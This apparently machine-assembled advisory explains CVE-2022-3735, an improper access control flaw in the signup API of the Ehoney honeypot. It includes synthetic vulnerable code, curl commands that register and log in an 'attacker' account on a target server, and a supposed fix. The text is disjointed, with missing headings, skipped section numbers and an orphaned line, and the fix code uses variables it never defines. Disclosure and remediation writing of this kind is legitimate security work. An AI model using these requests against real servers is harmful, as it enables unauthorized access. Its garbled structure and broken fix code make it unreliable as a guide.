In October 2022, security researchers discovered a critical security flaw—CVE-2022-3735—in the open-source honeypot software: Seccome Ehoney. This vulnerability exposes improper access control in the /api/public/signup endpoint, potentially letting attackers create unauthorized accounts or escalate privileges.

This article provides a detailed breakdown of the vulnerability, simplified technical explanations, code snippets for experimentation, references to original reports, and a step-by-step exploit demonstration. The aim is to share everything you need to know—even if you don’t have a deep technical background.

1. What Is Seccome Ehoney?

Seccome Ehoney is a project designed to help detect and analyze network threats by acting as a honeypot. Organizations deploy such tools to observe attacks without risking their actual systems.

ID: CVE-2022-3735 (also listed as VDB-212417)

- Component: Ehoney API /api/public/signup

CVSS Score: Critical

Summary:  
Attackers can interact with the /api/public/signup endpoint to register accounts without proper restrictions, allowing them to gain access or even privileged roles. This is considered an “improper access control” vulnerability, which means that the application fails to restrict who is allowed to perform certain actions.

References

- NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-3735
- VulDB: https://vuldb.com/?id.212417
- Ehoney repository: https://github.com/seccome/Ehoney

Prevent anonymous or automated abuse

But in Ehoney, the /api/public/signup endpoint lacked these checks, so just posting to this endpoint created an account, regardless of intent or legitimacy.

Example Vulnerable Code

(Note: This is a *synthetic* simplified version based on public Ehoney source code and typical vulnerable patterns.)

# In Ehoney's user management routes (simplified pseudo-code)
@app.route('/api/public/signup', methods=['POST'])
def signup():
    data = request.get_json()
    username = data['username']
    password = data['password']
    
    # Improper access control: No restriction on who can register!
    user = create_user(username, password)
    return jsonify({"status": "ok", "user_id": user.id})

Use any HTTP tool (like Postman or curl) to send a registration request

curl -X POST http://TARGET-EHONEY-SERVER/api/public/signup \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"P@sswrd"}'

Expected response

{
  "status": "ok",
  "user_id": "12345"
}

Step 2: Log in With the New Account

curl -X POST http://TARGET-EHONEY-SERVER/api/public/login \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"P@sswrd"}'

After this, the attacker can use the instance like a normal user or even attempt privilege escalation (if additional flaws exist).

Unwanted Accounts: Attackers can flood the system with fake users

- Privilege Escalation: If new users are given elevated roles by default or due to additional issues, attackers can control parts of the system
- Disruption: Attackers could use the system to gather information about honeypot operations, ruining its purpose

Here’s an improved version

@app.route('/api/public/signup', methods=['POST'])
def signup():
    if not REGISTRATION_ENABLED:
        return jsonify({"error": "Registration is disabled"}), 403

    data = request.get_json()
    if not validate_signup_data(data):
        return jsonify({"error": "Invalid input"}), 400

    if is_suspicious(request):
        return jsonify({"error": "Suspicious activity detected"}), 400

    user = create_user(username, password, default_role="user")
    send_confirmation_email(user)
    return jsonify({"status": "pending_verification"})

7. Is This Vulnerability Fixed?

Check the official Ehoney GitHub repository for patches or updates. Always use the latest release, as open honeypot systems are frequent targets.

8. Original References

- NVD entry for CVE-2022-3735
- VulDB detailed report (VDB-212417)
- Ehoney GitHub repo

Conclusion

CVE-2022-3735 is a classic example of why public-facing API endpoints must always have strict access controls—from user validation to registration restrictions. Tools like Ehoney play a vital role in security, so securing them is just as important as deploying them. All Ehoney users are urged to update and audit their installations for signs of unauthorized accounts.

For admins and developers:  
Don’t assume your API endpoints are safe just because they aren’t widely advertised. Review your access control logic regularly!


*If you found this guide helpful, share it with your IT team or on social media to spread awareness about API security and honeypot protection.*

Timeline

Published on: 10/28/2022 08:15:00 UTC
Last modified on: 10/31/2022 19:33:00 UTC